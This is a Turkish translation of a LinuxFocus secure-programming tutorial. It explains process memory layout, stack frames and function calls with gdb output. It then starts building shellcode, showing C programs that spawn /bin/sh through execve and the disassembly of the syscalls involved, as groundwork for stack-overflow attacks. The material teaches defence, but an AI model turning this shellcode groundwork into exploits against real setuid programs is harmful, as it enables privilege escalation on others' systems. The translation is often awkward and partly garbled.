Home Map Index Search News Archives Links About LF
[Top bar]
[Bottom bar]
[an error occurred while processing this directive]
convert to palmConvert to GutenPalm
or to PalmDoc

[image of the authors]
tarafýndan Frédéric Raynal, Christophe Blaess, Christophe Grenier

Yazar hakkýnda:

Christophe Blaess baðýmsýz bir havacýlýk mühendisi.O bir Linux meraklýsý ve birçok iþini bu sistem yardýmýyla yapýyor.Linux Dökümantasyon Projesi tarafýndan yayýnlanan kiþisel sayfalarýn çevirisinin organizasyonunu yapýyor.

Chritophe Grenier ESIEA'da beþ yýldýr öðrenci ve ayný zamanda burada sistem yöneticisi olarak çalýþýyor.Bilgisayar güvenliðine karþý bir tutkusu var.

Frédéric Raynal birçok senedir Linux kullanýyorlar çünkü o kirletmiyor, hormonlarý kullanmýyor, ne GMO ne de hayvansal yað...sadece ter ve oyunlar.


Ýçerik:

Bir uygulamanýn geliþtirilmesinde güvenliðin istenmeyen durumlarýndan kaçýþlar - Bölüm 2:hafýza, yýðýt ve fonksiyonlar, kabuk kodu

Çeviri : Coþkun Demirboða

article illustration

Özet:

Bu makale serileri uygulamalarda ortaya çýkan genel güvenlik sorunlarýný vurgulamak amacýyla oluþturulmuþtur.Bu gibi istenmeyen sorunlarýn çeþitli geliþmeler yardýmýyla nasýl aþýlacaðýný göstermektedir.

Bu makale, hafýza organizasyonu/yayýlýmý, fonksiyon ve hafýza arasýndaki iliþki konularý üzerinde yoðunlaþmýþtýr.Son bölüm kabuk kodu'nun nasýl oluþturulacaðý konusunu ele almaktadýr.



 

Giriþ

Bir önceki makalemizde basit güvenlik sorunlarýný analiz etmiþtik.Bunlardan bir tanesi harici komutlarýn yerine getirilmesi üzerineydi.Bu makale ve bundan sonraki,daha geniþ çeþit saldýrýlarý anlatacak.Ýlk olarak çalýþan uygulamalardaki hafýza yapýlarýna çalýþacaðýz ve kabuðu baþlatmak için küçük bir kod yazacaðýz.(kabuk kodu)  

Hafýza yayýlýmý

 

Program nedir?

Talimat kümesinden oluþan bir program düþünelim, makina koduyla ifade edilsin ( yazmak için kullanýlan dil gözardý edilsin ),iþte biz bunlara binary diyoruz.Binary dosyasýný derlerken program kaynaðý deðiþkenleri, sabitleri ve talimatlarý tutar.Bu bölüm binary dosyasýnýn deðiþik bölümlerini hafýza yayýlýmýný sunuyor.

 

Farklý bölgeler

Binary dosyasý çalýþtýðýnda neler olduðunu anlamak için, hafýza organizasyonuna bir bakalým.Deðiþik alanlara itimat etmektedir :

memory layout

Genellikle ama herzaman deðil, biz sadece bu makale için önemli olan bazý bölgelere yoðunlaþacaðýz.

size -A file --radix 16 komutu derlemek için gerekli her bir alanýn boyutunu verir.Burdan hafýza adreslerini alýrsýnýz (objdump komutu bu bilgiye ulaþmak için kullanýlýr). Bu size komutu binary olarak "fct":

>>size -A fct --radix 16
fct  :
section            size        addr
.interp            0x13   0x80480f4
.note.ABI-tag      0x20   0x8048108
.hash              0x30   0x8048128
.dynsym            0x70   0x8048158
.dynstr            0x7a   0x80481c8
.gnu.version        0xe   0x8048242
.gnu.version_r     0x20   0x8048250
.rel.got            0x8   0x8048270
.rel.plt           0x20   0x8048278
.init              0x2f   0x8048298
.plt               0x50   0x80482c8
.text             0x12c   0x8048320
.fini              ro      0x14   0x8048468
.data               0xc   0x804947c
.eh_frame           0x4   0x8049488
.ctors              0x8   0x804948c
.dtors              0x8   0x8049494
.got               0x20   0x804949c
.dynamic           0xa0   0x80494bc
.bss               0x18   0x804955c
.stab             0x978         0x0
.stabstr         0x13f6         0x0
.comment          0x16e         0x0
.note              0x78   0x8049574
Total            0x23c8

text alaný program talimatlarýný tutmaktadýr.Bu alan sadece-oku.Bu ayný binary dosyasýný çalýþtýran bütün iþlemler arasýnda paylaþýldý.Bu alana yazmaya teþebbüs etmek segmentasyon ihlali hatasýna sebep olur.

Diðer alanlarý açýklamadan önce gelin C'deki deðiþkenler ile ilgili birkaç þey söyleyelim.global deðiþkenler tüm program da kullanýlýr ancak local deðiþkenler sadece fonksiyonlarla birlikte kullanýlýr. static deðiþkenler bilindik bir boyuta sahiptirler.Boyutlarý çeþitlerine baðlýdýr.Çeþitleri ise örneðin;char, int, double, iþaretçiler vs.Bir iþaretçibir adres iþaret eder bir hafýza ile birlikte.Bu bir PC tipi makinada 32bit 'tir.Bilinmeyen birþey varki o da derleme sýrasýnda iþaretçinin hangi alana doðru olduðudur.Bir dynamic deðiþkeni bir hafýza bölgesi ve bunlara iþaret eden iþaretçileri (iþaretçinin kendisi deðil adresi) ifade eder.

Verilen iþlem için hafýza organizasyonuna geri dönelim.data alaný global duragan verileri saklar ( bu veri derleme zamanýný saðlar ), bss parçasý baþta yer almayan global verileri tutar.Bu alanlar derleme zamaný için ayrýlmýþtýr ve boyutlarý tuttuklarý nesnelere göre tanýmlanmýþtýr.

Yerel ve dinamik deðiþkenler bir hafýza alaný içinde gruplandýrýlýr. Bu hafýza alaný programýn çalýþmasý için ayrýlmýþtýr.(user stack frame). Fonksiyonlar yardýma çaðrýlýr, yerel deðiþkenler için geliþmiþ örnekler bilinmemektedir.Bunlarý tanýmladýðýmýz zaman bunlarý bir stackiçine koyacaðýz.Bu yýðýt en yüksek adreslerin üzerindedir ve LIFO modeline göre çalýþýr(Last In, First Out).user frame altýndaki alan dinamik deðiþkenlerin tahsisine kullanýlmýþtýr.Bu alan heap þeklinde tanýmlanýr ve iþaretçiler ve dinamik deðiþkenler tarafýndan adreslenen hafýza alanlarýný tutar.Açýkça görülüyorki, bir iþaretçi 32bit ya BSS veya yýðýtta.Tahsis edildiðinde ilk ayrýlmýþ byte'a karþý gelen bir adres alýr.

 

Ayrýntýlý örnek

Sýradaki örnek hafýzadaki deðiþken yayýlýmýný örneklemektedir:

/* mem.c */

  int    index = 1;   //in data
  char * str;         //in bss
  int    nothing;     //in bss

void f(char c)
{
  int i;              //in the stack
  /* Reserving de 5 characters in the heap */
  str = (char*) malloc (5 * sizeof (char));
  strncpy(str, "abcde", 5);
}

int main (void)
{
  f(0);
}

gdb debugger tüm bunlarý onaylayacaktýr.

>>gdb mem
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
(gdb)

Gelin bu f() fonksiyonuna bir aralýk býrakalým ve programý bu noktayakadar çalýþtýralým :

(gdb) list
7      void f(char c)
8      {
9         int i;
10        str = (char*) malloc (5 * sizeof (char));
11        strncpy (str, "abcde", 5);
12     }
13
14     int main (void)
(gdb) break 12
Breakpoint 1 at 0x804842a: file mem.c, line 12.
(gdb) run
Starting program: mem

Breakpoint 1, f (c=0 '\000') at mem.c:12
12      }

Þimdi deðiþkenlerin yerlerini görebiliyoruz.

1. (gdb) print &index
$1 = (int *) 0x80494a4
2. (gdb) info symbol 0x80494a4
index in section .data
3. (gdb)  print &nothing
$2 = (int *) 0x8049598
4. (gdb) info symbol 0x8049598
nothing in section .bss
5. (gdb) print str
$3 = 0x80495a8 "abcde"
6. (gdb) info symbol 0x80495a8
No symbol matches 0x80495a8.
7. (gdb) print &str
$4 = (char **) 0x804959c
8. (gdb) info symbol 0x804959c
str in section .bss
9. (gdb) x 0x804959c
0x804959c <str>:     0x080495a8
10. (gdb) x/2x 0x080495a8
0x80495a8: 0x64636261      0x00000065

Komut 1 (print &index) hafýza adresini index global deðiþken için gösteriyor.Ýkinci talimat (info) birleþtirme sembolü veriyor bu adres ve hafýzadaki yer için:index, global duraðan deðiþkeni bu data alanda saklanmaktadýr.

3.ve 4. talimatlar baþta gelmeyen duraðan deðiþkenleri nothing, BSS parçasý içinde yer almaktadýr.

5.satýrda str ...komutu görülüyor.Gerçekte str deðiþken içermektedir, ve bu adres 0x80495a8.Talimat 6 hiçbir deðiþken bu adreste tanýmlanmamýþtýr.Komut 7 str deðiþken adresini almaya izin verir ve komut 8 onu iþaret eder ve BSS parçasýnda bulunabilir.

9'da 4 byte adresteki hafýzaya karþý gelir 0x804959c : Bu bir ayrýlmýþ adresle birlikte kümeye karþý gelir.10'un içeriðinde þu string vardýr "abcde" :

hexadecimal value : 0x64 63 62 61      0x00000065
character         :    d  c  b  a               e

Yerel deðiþkenler c ve i yýðýtýn içinde yer alýr.

size komutu sayesinde boyutun geri döndüðüne dikkat çekmek istiyoruz.Ancak programa baktýðýmýzda farklý alanlar beklediðimiz gibi uyum saðlamaz.Bunun sebebi program çalýþtýrýldýðýnda kütüphanede deðiþik deðiþkenlerin varolmasýdýr.(type info variables under gdb to get them all).

 

Yýðýt ve küme

Her seferinde fonksiyon tanýmlandýðýnda, yeni bir çevre terel deðiþlenler için gerekli hafýza ile birlikte ve fonksiyon parametreleri ile birlikte oluþturulur (burda environment fonksiyon çalýþtýrýlýrken tüm elementler görüleceði manasýna gelir : argümanlarý, yerel deðiþkenleri,çalýþan yýðýtlarýnda varolan geri dönüþ adresleri...fakat bir önceki makalede bahsettiðimiz kabuk deðiþkenleri için çevre deðil). %esp (extended stack pointer) kaydý en yüksek yýðýt adreslerini tutar.

Yerel deðiþkenlerin yýðýtlarla birlikte adresleri göreceli karþýlýk olarak %esp ifade edilebilir.Baþlýklar herzaman eklenip çýkarýlabilir yýðýtlardan ve her deðiþkenin karþýlýðý ayarlanabilir.Bu çok etkisizdir. Ýkinci kayýtýn kullanýlmasý þu geliþmeye yol açar : %ebp (geniþletilmiþ taban iþaretçisi) baþlangýç adresini tutar.Böylece, kayýtla ilgili offset açýklamak yeterli olur.Fonksiyon çalýþýrken sabit kalýr.Parametreleri bulmak veya fonksiyonlarý yerel deðiþkenler ile birlikte kolay deðildir.

Yýðýtlarýn temel birimleri word : i386 CPU'lar üzerinde 32bit ve 4 byte'dýr.Örneðin, Alpha CPU'larý bir kelime için 64bit yer ayýrýr. Yýðýtlar sadece kelimeleri yönetir.Bunun anlamý her yer ayrýlmýþ deðiþken bazý kelime numarasý kullanýr.Ýlerde fonksiyonlarýn açýklamasýnda ayrýntýlý bir þekilde göreceðiz. str gösteriminde deðiþken gdb kullanýlýþýný içerir.bir önceki örnek bunu örnekliyor. gdb x komutu tüm cümleyi gösteriyor (soldan saða oku little endian açýklamasýna kadar.

Yýðýt 2 cpu talimatý tarafýndan kontrol edilebilir :

 

Kayýtlar

Kayýtlar gerçekte nedir?Onlarý yalnýzca birer çizici olarak görebilirsiniz, bir kelime serisinden oluþmuþlardýr.Her seferinde kayda yeni bir kelime girer ve eskisi kaybolur.Hafýza ve CPU arasýnda direk bir iletiþime izin verir.

Ýlk olarak 'e' kayýtlarda görünür ve "extended" manasýna gelir ve 16bit ile 32bit arasýndaki evrimi iþaret eder.

Kayýtlar dört sýnýfa ayrýlýrlar :

  1. genel kayýtlar : %eax, %ebx, %ecx ve %edx veriyi yönetmek için kullanýlýr;
  2. parça kayýtlar : 16bit %cs, %ds, %esx ve %ss, hafýzanýn ilk parçasýný tutar;
  3. karþýlýk kayýtlar :bunlar parça kayýtlar ile ilgili bir karþýlýk iþaret ederler;
  4. özel kayýtlar :bunlar sadece CPU tarafýndan kullanýlýr.
Burada ayrýntý verilmemiþtir, ancak ayný sýnýftan olan kayýtlar ayný þeyler zannedilmemelidir.  

Fonksiyonlar

 

Giriþ

Bu bölümde bir programýn baþlangýcýndan sonuna dek olan davranýþý sunulacaktýr. Bu bölüm boyunca þu örneði kullanacaðýz :
/* fct.c */

void toto(int i, int j)
{
  char str[5] = "abcde";
  int k = 3;
  j = 0;
  return;
}

int main(int argc, char **argv)
{
  int i = 1;
  toto(1, 2);
  i = 0;
  printf("i=%d\n",i);
}

Bu bölümün amacý yukarýda yer alan fonksiyonlarýn davranýþlarýný yýðýtlara ve kayýtlara dikkat ederek açýklamaktýr.Bazý saldýrýlar bir programýn çalýþmasýný deðiþtirebilirler.Bunlarý anlamak için nelerin düzgün çalýþtýðýný bilmek gereklidir.

Bir fonksiyonun çalýþmasý üç aþamaya ayrýlýr :

  1. prolog : Bir fonksiyon girildiðinde ayný zamanda siz onun çýkýþ yolunu hazýrlamýþ oluyorsunuz.Yýðýtlarý kaydetmek için fonksiyonlar girilmeden ve saklanmadan önce hafýza olmasý gerekir;
  2. call fonksiyonu : Bir fonksiyon çaðrýldýðýnda onun parametreleri yýðýtýn içinde yer alýr ve iþaretçi talimat kaydedilmiþtir, çünkü bu talimatýn çalýþtýrýlmasý fonksiyonun saðýndan iþleme devam edilmesini saðlar;
  3. return fonsiyonu : Bu fonksiyon fonksiyon çaðrýlmadan önce gerekli þeylerin geri çaðrýlmasýný saðlar.
 

Baþlangýç

Bir fonksiyon herzaman talimat ile baþlar :
push   %ebp
mov    %esp,%ebp
push   $0xc,%esp       //$0xc depends on each program

Bu üç talimat prolog'un dedilerini tapýyor.diagram 1 ayrýntýlarý toto() fonsiyonunun baþlangýcýnýn %ebp ve %esp kayýt parçalarýnýn nasýl çalýþtýðýný açýklamaktadýr :

Diag. 1 : prolog of a function
prolog Baþlangýçta, %ebp noktalarý hafýzada herhangi bir X adresini iþaret eder.%esp yýðýtta en düþük yerdedir Y adresinde ve son yýðýt giriþ noktasýný iþaret eder.Bir fonksiyon girildiðinde "geçerli çevre" 'yi kaydetmek zorundasýnýz.Bu %ebp'dur.%ebp'den beri yýðýtýn içine konur ve %esp hafýza sözcüðü tarafýndan azaltýlýr.
environment Bu ikinci talimat fonksiyon için yeni bir "çevre" inþa edilmesini %ebp kodunu yýðýtýn en baþýna konulmasý ile saðlar.%ebp ve %esp bir önceki çevre adresini tutarlar ve ayný hafýza noktasýný iþaret ederler.
stack space for local variables Þimdi yerel deðiþkenler için yýðýt boþluðu ayrýlmýþ durumdadýr.Karakter sýrasý beþ baþlýkla tanýmlanmýþtýr ve 5 byte (bir char bir byte) yere ihtiyaç vardýr. Bununla birlikte yýðýtlar sadece words'ü yönetirler ve sadece word'ten oluþan birkaç (1 word, 2 words, 3 words, ...) yer ayýrýrlar.4 byte yerine 5 byte word saklamak için 8 byte ( 2 words) kullanmanýz gerekli. String'in bir parçasý olmasa dahi bu parça kullanýlabilir.k tam sayý 4 byte kullanýr.Bu boþluk %esp'un 0xc tarafýndan azaltýlmasý için kullanýlýr. Yerel deðiþkenler 8+4=12 byte kullanýrlar (örneðin 3 sözcük).

Bu mekanizmadan baþka burda hatýrlanmasý gereken önemli bir nokta da yerel deðiþkenlerin yeridir : yerel deðiþkenler %ebp ile ilgili olarak negative gibi bir karþýlýða sahiptirler. i=0 talimatý main() fonksiyonu içinde bunu örnekler.Makine kodu i'yi çalýþtýrmak için direkt olmayan bir adresleme yöntemi kullanýr :

0x8048411 <main+25>:    movl   $0x0,0xfffffffc(%ebp)

0xfffffffc heksedesimal -4 tam sayýsýný ifade eder. Bu notasyonun anlamý 0 deðerini "-4 byte" ýn bulunduðu %ebp kaydýna yerleþtir. i ilk ve tek yerel deðiþkendir main() fonksiyonunun içinde yer alan.Böylece onun adresi 4 byte (örneðin tam sayýný boyutu) %ebp kaydýnýn altýndadýr.

 

Çaðrý

Fonksiyonun baþýnda yapýldýðý gibi fonksiyon kendi çevresini hazýrlar, fonksiyon bu fonksiyona argumanlarýný almasý için izin verir ve çaðýran fonksiyona geri dönerek iþlemi bitirir.

Örnek olarak toto(1, 2); çaðrýsýný ele alalým.

Diag. 2 : Function call
argument on stack Fonksiyon çaðýrmadan önce argumanlar yýðýtta saklý olmalýdýrlar.Bizim bu örneðimizde, iki sabit tam sayý 1 ve 2 birinci yýðýttýr ve sonuncuyla baþlar. %eip kaydý bir sonraki talimatýn adresini çalýþmasý için tutar.
call

call talimatýný çalýþtýrýrken %eip bir sonraki talimatýnadres deðerlerini alýr.Tüm talimatlar ayný boþluk için kullanýlmaz fakat bu CPU 'ya baðlýdýr. call yardýmý ile %eip içindeki adres kaydedilebilir.Bu iþlemden fonksiyonu çalýþtýrdýktan sonra geriye dönmek için gereklidir :

    push %eip

Bir argüman gibi deðerlendirilip call'e göndermek için bir deðer verilmiþtir.Bu da talimatýn baþýndaki toto() fonksiyonun adresine karþýlýk gelir.Bu adres sonra %eip'a kopyalanýr.Böylece yeni talimat çalýþmaya baþlar.

Ýlk önce biz fonksiyonun içindeyiz. 'nun argümanlarý ve geri dönen adresin positive karþýlýðý vardýr %ebp ile ilgili olan.Bir sonraki talimat bu kayýtý yýðýtýn en üstüne yerleþtirir.j=0 talimatý toto()'ýn içindedir.Fonksiyon bunu örnekler.Makina kodu tekrar bu indirekt adreslemeyi j'yi çalýþtýrmak için kullanýr :

0x80483ed <toto+29>:    movl   $0x0,0xc(%ebp)

0xc heksedesimali +12 tam sayýsýný ifade eder. Bu notasyon "+12 byte" da bulunan 0 deðerini ifade eder. j fonksiyonun ikinci argümanýdýr ve 12 byte'ýn en üst noktasýnda bulunur. (4 talimatýn iþaretçisi, 4 birinci argüman ve 4 ikinci argüman için.)

 

Geri Dönüþ

Bir fonksiyonu terketmek iki aþamada yapýlýr.Ýlk olarak,çevre fonksiyon için temizlenmelidir (örneðin %ebp ve %eip yerleþtirmek çaðýrmadan önce). Yýðýtý kontrol etmemiz fonksiyon için gerekli bilgiyi almak için gereklidir.

Birinci adým fonksiyon ile birlikte atýlmýþ oldu. :

leave
ret

Bir sonraki fonksiyon ile yapýlacak olan çaðrýnýn yer tutmasý ve yýðýtýn yer teþkil etmesidir.

Bir önceki örneði taþýyoruz toto() fonksiyonu ilgili olan.

Diag. 3 : Function return
initial situation Burda baþlangýç koþullarýný açýklýyoruz.Çaðrýdan önce %ebp adreste yer alýr. X ve %esp, Y adresinde yer alýr. Buradan fonksiyon argumanlarýný biir kenara toplayarak %eip'i ve %ebp'i kaydettik ve yerel deðiþkenlerimiz için bir kýsým yer ayýrdýk.Bir sonraki çalýþtýrýlan talimat leave olacaktýr.
leave The instruction leave is equivalent to the sequence :
    mov ebp esp
    pop ebp

Birincisi %esp ve %ebp'i alýr.Ýkincisi %ebp kayýdýnda yer alaný yýðýtýn en üstüne yerleþtirir. Sadece bir talimatta (leave), yýðýt baþlangýçsýz olabilir.
restore ret talimatý %eip'ý saklar.Çaðrý fonksiyonunun iþlemi bu yolla baþlar.Bunun için %eip'teki yýðýtý kaldýrabiliriz.

Fonksiyonun argümanlarý yýðýtta saklanana kadar baþlangýç koþullarýna dönmeyeceðiz. Onlarýn yerlerini ddeðiþtirme bir sonraki talimat olacak. Z+5 ile tanýmlanan adres %eip'ýn içinde yer alýr.

stacking of parameters Parametrelerin yýðýt haline getirilmesi çaðrý fonksiyonunun içerisinde yapýlýr. Bu zýt diyagramda ayýraçlar yardýmýyla çaðrý fonksiyonda bulunan talimatlarýn arasýnda ve add 0x8 ile çaðrý fonksiyonunundaki %esp yardýmýyla örneklenmiþtir. Bu talimat %esp'ý yýðýtýn en üst noktasýna verir toto() fonksiyon parametresinin kullanabildiði kadar kullanarak.%ebp ve %esp kayýtlarý þimdi olayýn içinde yer alýrlar.Diðer yandan %eip talimat kaydýnýn yeri deðiþir.
 

Disassembling

gdb Makina kodunu almayý saðlar main() ve toto() fonksiyonlarýna karþýlýk gelir :

>>gcc -g -o fct fct.c
>>gdb fct
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.  GDB is free
software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of
it under certain conditions.  Type "show copying" to see
the conditions.  There is absolutely no warranty for GDB.
Type "show warranty" for details.  This GDB was configured
as "i386-redhat-linux"...
(gdb) disassemble main                    //main
Dump of assembler code for function main:

0x80483f8 <main>:    push   %ebp //prolog
0x80483f9 <main+1>:  mov    %esp,%ebp
0x80483fb <main+3>:  sub    $0x4,%esp

0x80483fe <main+6>:  movl   $0x1,0xfffffffc(%ebp)

0x8048405 <main+13>: push   $0x2 //call
0x8048407 <main+15>: push   $0x1
0x8048409 <main+17>: call   0x80483d0 <toto>


0x804840e <main+22>: add    $0x8,%esp //return from toto()

0x8048411 <main+25>: movl   $0x0,0xfffffffc(%ebp)
0x8048418 <main+32>: mov    0xfffffffc(%ebp),%eax

0x804841b <main+35>: push   %eax     //call
0x804841c <main+36>: push   $0x8048486
0x8048421 <main+41>: call   0x8048308 <printf>


0x8048426 <main+46>: add    $0x8,%esp //return from printf()
0x8048429 <main+49>: leave            //return from main()
0x804842a <main+50>: ret

End of assembler dump.
(gdb) disassemble toto                    //toto
Dump of assembler code for function toto:

0x80483d0 <toto>:     push   %ebp   //prolog
0x80483d1 <toto+1>:   mov    %esp,%ebp
0x80483d3 <toto+3>:   sub    $0xc,%esp

0x80483d6 <toto+6>:   mov    0x8048480,%eax
0x80483db <toto+11>:  mov    %eax,0xfffffff8(%ebp)
0x80483de <toto+14>:  mov    0x8048484,%al
0x80483e3 <toto+19>:  mov    %al,0xfffffffc(%ebp)
0x80483e6 <toto+22>:  movl   $0x3,0xfffffff4(%ebp)
0x80483ed <toto+29>:  movl   $0x0,0xc(%ebp)
0x80483f4 <toto+36>:  jmp    0x80483f6 <toto+38>

0x80483f6 <toto+38>:  leave         //return from toto()
0x80483f7 <toto+39>:  ret

End of assembler dump.
Talimatlar (renk olmaksýzýn) bizim program talimatlarýmýza karþýlýk gelir.  

Kabuk kodu oluþturma

Bazen yýðýtlarda varolan iþlemlere müdehale etmek mümkündür.Bunu yapmanýn yolu fonksiyonun geri dönüþ adresinin üzerine yeniden yazmaktýr ve keyfi kodlar ile uygulama çalýþmasý yapmaktýr.Bu özellikle kýrýcýlar için ilginçtir eðer uygulama kullanýcýdan farklý bir ID 'de çalýþýyorsa.Bu tip bir hata bir bakýma tehlikeli olabilir eðer uygulama bir döküman okumaysa ve baþka bir kullanýcý tarafýndan baþlatýlabiliyorsa.

Sonraki makalelerde talimatlarýn uygulanmasýndaki mekanizm üzerine konuþacaðýz. Burda biz kod üzerine çalýþýyoruz ki bunu ana uygulama üzerinden çalýþtýrmayý istiyoruz. En basit çözüm kabuðu çalýþtýrmak için bir miktar koda sahip olmaktýr.Okuyucu kendini diðer diðer uygulamalar için örneðin /etc/passwd dosyasýnýn haklarýný deðiþtirme konusunda eðitebilir.Bazý nedenlerden dolayý ki bunlar gelecekte açýkça görülecektir,bu program Makine dilinde yapýlmak zorundadýr.Bu tip küçük programlar kabuðu çalýþtýrma kaibliyitine sahiptir ve bunlara genellikle shellcode adý verilir.

Örneklerde Aleph One'ýn makalesinden esinlenilmiþtir "Smashing the Stack for Fun and Profit" Phrack magazin No:49.

 

C dili ile

Kabuk kodunun amacý kabuðu çalýþtýrmaktýr.Bir sonraki C programý bunu örneklemektedir :

/* shellcode1.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name[] = {"/bin/sh", NULL};
  execve(name[0], name, NULL);
  return (0);
}

Fonksiyon kümelerinin arasýnda kabuða çaðrý gönderme kabiliyeti vardýr. Birçok sebep execve()'ýn kulllanýþýný doðrular.Ýlk olarak, O bir doðru sistem çaðrýsýdýr ve diðer exec() ailesinden olan fonksiyonlara benzemez.Bunlar GlibC kütüphanesinin fonksiyonlarýdýr ve execve()'den inþa edilmiþlerdir.Bu kadar kayýt tanýmlamasý ve onlarýn içerikleri üzerine konuþmak yeterlidir.

Bundan baþka eðer execve() baþarýlýrsa çaðrý programý (burda ana uygulamadýr) yeni programýn çalýþtýrýlabilir koduyla deðiþtirilir. execve() çaðrýsý baþarýsýzlýða uðrsdýðýnda program uygulamasý devam eder.Örneðimizde kod hareket uygulamasýnýn tam ortasýndac yer alýr. Uygulama ile devam etmek anlamsýz ve hatta zaralý dahi olabilir.Uygulama ayrýca olabildiði ölçüde hýzlý olmak zorundadýr. return (0) programdan çýkma izni verir ve sadece bu talimat main() fonksiyonundan çaðrýldýðý zaman bu beklendiði gibi burada olmayacaktýr.

/* shellcode2.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  exit (0);
}

exit() yine bir kütüphane fonksiyonudur.Yeni bir deðiþiklik bizim sisteme daha yakýn olmamýzý saðladý :

/* shellcode3.c */
    #include <unistd.h>
    #include <stdio.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  _exit(0);
}
Þimdi programýmýzý Makine dilindeki karþýlýðý ile birleþtirme zamanýmýz geldi.  

Makine dili çaðrýlarý

Biz gcc ve gdb'yi Makine dili talimatlarýný programýn karþýlýklarýný alýrken kullanýyoruz.Gelin shellcode3.c'u derleyelim (debug opsiyonu yardýmýyla). (-g) programý bütünleme açýsýndan normalde paylaþýlmýþ kütüphanelerde bulunur.Þimdi _exexve() ve _exit()'yi anlamak için bilgiye ihtiyacýmýz vardýr.
$ gcc -o shellcode3 shellcode3.c -O2 -g --static
Sonra gdb ile bizim fonksiyonlarýmýzýn Makine karþýlýklarýna bakacaðýz. Bu Linux içindir.
$ gdb shellcode3
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048168 <main>:       push   %ebp
0x8048169 <main+1>:     mov    %esp,%ebp
0x804816b <main+3>:     sub    $0x8,%esp
0x804816e <main+6>:     movl   $0x0,0xfffffff8(%ebp)
0x8048175 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x804817c <main+20>:    mov    $0x8071ea8,%edx
0x8048181 <main+25>:    mov    %edx,0xfffffff8(%ebp)
0x8048184 <main+28>:    push   $0x0
0x8048186 <main+30>:    lea    0xfffffff8(%ebp),%eax
0x8048189 <main+33>:    push   %eax
0x804818a <main+34>:    push   %edx
0x804818b <main+35>:    call   0x804d9ac <__execve>
0x8048190 <main+40>:    push   $0x0
0x8048192 <main+42>:    call   0x804d990 <_exit>
0x8048197 <main+47>:    nop
End of assembler dump.
(gdb)
Þimdi hafýzanýn içeriðini bu adresten açýklamaya çalýþalým :
(gdb) printf "%s\n", 0x8071ea8
/bin/sh
(gdb)
Þimdi string'in ne olduðunu gördük. execve() ve _exit() fonksiyonlarýna bakalým :
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804d9ac <__execve>:    push   %ebp
0x804d9ad <__execve+1>:  mov    %esp,%ebp
0x804d9af <__execve+3>:  push   %edi
0x804d9b0 <__execve+4>:  push   %ebx
0x804d9b1 <__execve+5>:  mov    0x8(%ebp),%edi
0x804d9b4 <__execve+8>:  mov    $0x0,%eax
0x804d9b9 <__execve+13>: test   %eax,%eax
0x804d9bb <__execve+15>: je     0x804d9c2 <__execve+22>
0x804d9bd <__execve+17>: call   0x0
0x804d9c2 <__execve+22>: mov    0xc(%ebp),%ecx
0x804d9c5 <__execve+25>: mov    0x10(%ebp),%edx
0x804d9c8 <__execve+28>: push   %ebx
0x804d9c9 <__execve+29>: mov    %edi,%ebx
0x804d9cb <__execve+31>: mov    $0xb,%eax
0x804d9d0 <__execve+36>: int    $0x80
0x804d9d2 <__execve+38>: pop    %ebx
0x804d9d3 <__execve+39>: mov    %eax,%ebx
0x804d9d5 <__execve+41>: cmp    $0xfffff000,%ebx
0x804d9db <__execve+47>: jbe    0x804d9eb <__execve+63>
0x804d9dd <__execve+49>: call   0x8048c84 <__errno_location>
0x804d9e2 <__execve+54>: neg    %ebx
0x804d9e4 <__execve+56>: mov    %ebx,(%eax)
0x804d9e6 <__execve+58>: mov    $0xffffffff,%ebx
0x804d9eb <__execve+63>: mov    %ebx,%eax
0x804d9ed <__execve+65>: lea    0xfffffff8(%ebp),%esp
0x804d9f0 <__execve+68>: pop    %ebx
0x804d9f1 <__execve+69>: pop    %edi
0x804d9f2 <__execve+70>: leave
0x804d9f3 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804d990 <_exit>:      mov    %ebx,%edx
0x804d992 <_exit+2>:    mov    0x4(%esp,1),%ebx
0x804d996 <_exit+6>:    mov    $0x1,%eax
0x804d99b <_exit+11>:   int    $0x80
0x804d99d <_exit+13>:   mov    %edx,%ebx
0x804d99f <_exit+15>:   cmp    $0xfffff001,%eax
0x804d9a4 <_exit+20>:   jae    0x804dd90 <__syscall_error>
End of assembler dump.
(gdb) quit
Çekirdek çaðrýsý 0x80 üzerinden 0x804d9d0 adresinde execve() için ve 0x804d99b adresinde _exit() için yapýlýr.Bu giriþ noktasý alýþýldýktýr. execve()'a baktýðýmýzda onun 0x0B deðerinin olduðunu ve _exit()'nun 0x01 deðerinin olduðunu görürüz.

Diag. 4 : parameters of the execve() function
parameters of the execve() function

Bu fonksiyonlarýn analizi Makine talimatlarýdýr ve bunlarýn kullanýlýþý parametreler yardýmýyla saðlanýrlar :

"/bin/sh" string'ine ihtiyacýmýz vardýr, bir iþaretçi bu string'e ve NULL iþaretçisine. execve() çaðrýsýndan sonra olasý bir veriyi sunabiliriz.Bir array inþa etmek için bir iþaretçiyle birlikte /bin/sh string'ine NULL iþaretçisini takiben, %ebx string'i iþaret edecektir.

Diag. 5 : data representation relative to registers
data
 

Hafýzanýn içine kabuk kodunun yerleþtirilmesi

Kabuk kodu genellikle savunmasý zor programýn komut satýrý üzerinden arguman ile bir çevre deðiþkeni veya yazýlmýþ bir string ile yerleþtirilebilir.Herneyse, kabuk kodu oluþturulduðunda kullanacaðý adresi bilmiyoruz.Bununla birlikte "/bin/sh" string'inin adresini bilmemiz gerekmektedir.Küçük bir oyun bunu öðrenmemizi saðlayabilir.

